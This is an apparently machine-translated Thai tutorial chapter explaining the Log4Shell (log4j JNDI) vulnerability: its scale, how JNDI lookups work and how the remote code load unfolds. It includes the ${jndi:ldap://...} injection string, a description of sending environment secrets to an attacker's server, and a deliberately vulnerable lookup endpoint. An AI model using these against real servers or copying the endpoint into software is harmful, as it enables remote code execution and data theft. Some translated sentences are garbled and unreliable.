7.1 เรื่องอื้อฉาว
และแน่นอนว่าเป็นไปไม่ได้ที่จะไม่เล่าเรื่องที่เกิดขึ้นเมื่อไม่นานมานี้ - ณ สิ้นปี 2564
สำนักงานป้องกันความปลอดภัยทางไซเบอร์และโครงสร้างพื้นฐานของสหรัฐฯ (CISA) กล่าวว่าปัญหาดังกล่าวLog4Shellเป็นหนึ่งในช่องโหว่ที่ร้ายแรงที่สุดในประวัติศาสตร์ ใช่ เรากำลังพูดถึงห้องสมุดที่เราชื่นlog4jชอบ
ห้องสมุดเล็ก ๆ ที่แสนสบายของเราlog4j และความเปราะบางที่สุดในประวัติศาสตร์ ? ทึ่ง? จากนั้นฟัง
7.2 ขนาดของภัยพิบัติ
การค้นพบช่องโหว่ร้ายแรงLog4Shell(รหัส CVE-2021-44228) ประกาศเมื่อวันที่ 9 ธันวาคม 2564 โดยผู้เชี่ยวชาญด้านความปลอดภัยของ Lunasec ผู้เชี่ยวชาญจากชุมชน Apache Security Team Java ได้ตรวจสอบข้อมูลนี้และเผยแพร่รายการไลบรารี Java ที่มีช่องโหว่ รายการมีขนาดใหญ่มาก
หากโปรเจ็กต์ Java ใช้ไลบรารีlog4jอาจถูกแฮ็กได้ง่ายพอสมควร และเนื่องจากซอฟต์แวร์เซิร์ฟเวอร์เกือบทั้งหมดเขียนด้วย จาวาล็อกเกอร์ที่ได้รับความนิยม Javaสูงสุดlog4jตามที่ผู้เชี่ยวชาญด้านความปลอดภัยระบุ ช่องโหว่ดังกล่าวส่งผลกระทบต่อ 93% ของสภาพแวดล้อมระบบคลาวด์ขององค์กร รวมถึงสิ่งที่ชอบของ Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam และอีกมากมาย
ยิ่งไปกว่านั้น ช่องโหว่ดังกล่าวไม่ได้ส่งผลกระทบต่อซอฟต์แวร์เซิร์ฟเวอร์เท่านั้น แต่ยังรวมถึงแอปพลิเคชัน Java จำนวนมาก ตลอดจนผู้ผลิตฮาร์ดแวร์ด้วย ตัวอย่างเช่น Intel เผยแพร่รายชื่อโปรแกรมที่สามารถแฮ็กได้ 32 โปรแกรม: SDK, ระบบบำรุงรักษาเซิร์ฟเวอร์, เครื่องมือ Linux
Nvidia ยังโพสต์รายงานปัญหาด้านความปลอดภัยที่กล่าวถึงเซิร์ฟเวอร์ DGX และเครื่องมือ NetQ Apple และ Microsoft ออกการอัปเดตจำนวนหนึ่งอย่างเร่งด่วน
พูดอย่างคร่าว ๆ คือ หนึ่งบรรทัดในแถบที่อยู่ของเบราว์เซอร์ของนักเรียนจะใส่เซิร์ฟเวอร์หากบรรทัดนี้ถูกกินโดยคนตัดไม้ (ในเซิร์ฟเวอร์หลาย ๆ ตัว ทุกอย่างจะถูกบันทึกHTTP-requests)
หลังจากวิเคราะห์โค้ดแล้ว ปรากฎว่ามีช่องโหว่อยู่ในไลบรารีตั้งแต่ปี 2013 แต่พวกเขาเพิ่งสังเกตเห็นในตอนนี้เท่านั้น และเมื่อพวกเขาเริ่มขุดลึกลงไปพวกเขาก็พบเหวลึกซึ่งมองไม่เห็นก้นเหวเลย
7.3 ช่องโหว่ที่ร้ายแรงที่สุดในประวัติศาสตร์
ย้อนกลับไปในเดือนธันวาคม 2021 สำนักงานปกป้องความปลอดภัยทางไซเบอร์และโครงสร้างพื้นฐานของสหรัฐฯ (CISA) ระบุว่าช่องLog4Shellโหว่นี้เป็นหนึ่งในช่องโหว่ที่ร้ายแรงที่สุดในประวัติศาสตร์
ผู้เชี่ยวชาญอื่น ๆ หลายคนแสดงความคิดเห็นที่คล้ายกัน ทุกคนรู้เกี่ยวกับช่องโหว่นี้ และแฮ็กเกอร์ทุกวัยใช้ช่องโหว่นี้เพื่อขโมยข้อมูลส่วนบุคคลและการโจมตีประเภทอื่น ๆ ในองค์กรต่างๆ ในอนาคต เรากำลังรอคลื่นของการแฮ็กและการรั่วไหลของข้อมูลจำนวนมหาศาล
ขนาดของภัยพิบัติสามารถวัดได้แม้จะมีไซต์แยกต่างหากที่มีมส์เกี่ยวกับ Log4jและมีรูปภาพใหม่ทุกวัน
ปัญหานี้อยู่กับเรามานาน ช่องโหว่ด้านความปลอดภัยนับล้านหากไม่ใช่ระบบคอมพิวเตอร์หลายแสนล้าน จำเป็นต้องอัปเดตซอฟต์แวร์เก่าทั้งหมดและอย่างน้อยแทนที่ไลบรารีนี้ที่นั่น แต่ในกรณีส่วนใหญ่ ไม่มีใครรู้ด้วยซ้ำว่าไลบรารีใดและเวอร์ชันใดที่ใช้ในซอฟต์แวร์ของตน
โดยทั่วไป เราคาดว่าเงินเดือนของผู้เชี่ยวชาญด้านความปลอดภัยคอมพิวเตอร์จะเพิ่มขึ้นอย่างมาก
7.4 ลักษณะของความเปราะบาง
เพื่อให้เข้าใจสาระสำคัญของช่องโหว่ คุณต้องเข้าใจว่าระบบเซิร์ฟเวอร์ขนาดใหญ่ถูกจัดไว้อย่างไร บ่อยครั้งที่แอปพลิเคชันเซิร์ฟเวอร์ดังกล่าวแบ่งออกเป็นบริการต่างๆ ที่อยู่บนเซิร์ฟเวอร์ที่แตกต่างกัน และบริการ JNDI ช่วยให้พวกเขาโต้ตอบได้
Java Naming and Directory Interface (JNDI)คือJava APIการค้นหาอ็อบเจ็กต์/บริการตามชื่อ อ็อบเจ็กต์เหล่านี้สามารถจัดเก็บไว้ในบริการการตั้งชื่อหรือไดเร็กทอรีต่างๆ เช่น Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) หรือ Domain Name Service (DNS)
การทำงานกับมันนั้นง่ายมาก - เป็นแบบธรรมดาJava APIที่ใช้พารามิเตอร์สตริงเพียงตัวเดียว - ชื่อของบริการ คุณสามารถติดต่อบริการใด ๆ และขอให้เขาทำบางสิ่งและ / หรือส่งข้อมูลบางอย่าง ตัวอย่างเช่น สตริง${jndi:ldap://example.com/file}จะโหลดข้อมูลจากURLที่ระบุในสตริง
หากพารามิเตอร์มาจากแหล่งที่ไม่น่าเชื่อถือ อาจนำไปสู่การโหลดคลาสระยะไกลและการดำเนินการโค้ดของบุคคลที่สาม จะเกิดอะไรขึ้นในกรณีของLog4j. ผู้โจมตีเพียงนำแอปพลิเคชัน Java ของเหยื่อไปยังโปรแกรมที่เป็นอันตรายrmi/ldap/corba-serverและรับวัตถุที่เป็นอันตรายตอบกลับ
ในทางเทคนิคแล้ว ปัญหาไม่ได้อยู่ที่log4jไลบรารีเอง แต่อยู่ที่การตั้งค่าความปลอดภัยเมื่อทำงานกับJNDI-service. คุณต้องตรวจสอบเสมอว่าเราส่งสตริงประเภทใดไปInitialContext.lookup()ให้
ตัวอย่างช่องโหว่JNDI-applications:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}7.5 ห้องสมุดที่ฉลาดเกินไป
แล้วlog4jจะถามถึง ไหน ประเด็นคือนักพัฒนาต้องการทำให้การทำงานสะดวกสบายที่สุดเท่าที่จะเป็นไปได้และเพิ่มการบันทึกอัจฉริยะเข้าไป นี่คือวิธีการทำงาน:
ทุกอย่างเริ่มต้นด้วยข้อเท็จจริงที่ว่าข้อความบันทึกอนุญาตให้คุณตั้งค่าเทมเพลตที่มีการแทนที่ข้อมูล ตัวอย่างเช่น:
log.debug(“User {user} has {count} friends”, user, count);
เวอร์ชันเก่าที่ไม่มีการแทนที่ข้อมูลมีลักษณะดังนี้:
log.debug( “User “+user +” has “+ count +” friends”);
ในปี 2013 การแทนที่คำนำหน้าอัจฉริยะที่ระบุโดยเทมเพลตมุมมองยังถูกเพิ่มลงในไลบรารี${prefix:name}ด้วย ตัวอย่างเช่น สตริง“${java:version}”จะถูกแปลงเป็น«Java version 1.7.0_67». โอ้สะดวกแค่ไหน
ในบรรดานิพจน์ที่รู้จักคือที่${jndi:<lookup>}ซึ่งหลังจากโปรโตคอล jndi คุณสามารถระบุการค้นหาผ่านLDAP: arbitrary URL-addresscan be queryed and load as object dataJava
นี่เป็นปัญหามาตรฐานของวิธีการทั้งหมดJDK: มันยกเลิกการซีเรียลไลซ์วัตถุโดยอัตโนมัติ ลิงก์ที่สามารถตั้งค่าในรูปแบบของ url ในกรณีนี้ ไม่เพียงแต่โหลดข้อมูลของวัตถุจากรีโมตรีซอร์สเท่านั้น แต่ยังรวมถึงโค้ดของคลาสด้วย
แฮ็คมีลักษณะดังนี้:
- กำลังดาวน์โหลดไฟล์ด้วยรหัสที่เป็นอันตราย
- ไฟล์มีซีเรียลไลซ์
Java an object(และคลาส) - กำลังโหลดชั้นเรียน
Java-machine - มีการสร้างวัตถุของคลาสที่เป็นอันตราย
- เรียกว่าตัวสร้างของวัตถุ
- ทั้งคอนสตรัคเตอร์และการกำหนดค่าเริ่มต้นแบบสแตติกอนุญาตให้เรียกใช้รหัสคลาสที่เป็นอันตราย
log4jหาก มีบางอย่างในบรรทัดที่กำลังบันทึก${jndi:ldap://example.com/file}มันlog4jจะดาวน์โหลดข้อมูลจากสิ่งนี้URL-addressเมื่อเชื่อมต่อกับอินเทอร์เน็ต เมื่อป้อนสตริงที่บันทึกไว้ ผู้โจมตีจะสามารถดาวน์โหลดและรันโค้ดอันตรายที่โฮสต์ในที่URL-addressสาธารณะ
แม้ว่าการประมวลผลข้อมูลจะถูกปิดใช้งาน ผู้โจมตีสามารถรับข้อมูล เช่น ตัวแปรสภาพแวดล้อมที่เป็นความลับ โดยวางไว้ในURL-addressซึ่งจะแทนที่และส่งไปยังเซิร์ฟเวอร์ของผู้โจมตี
ข่าวดีก็คือปัญหาได้รับการแก้ไขอย่างรวดเร็วในห้องสมุด
ข่าวร้ายคือเซิร์ฟเวอร์หลายล้านเครื่องทั่วโลกยังคงใช้งานไลบรารีเวอร์ชันเก่าอยู่ ...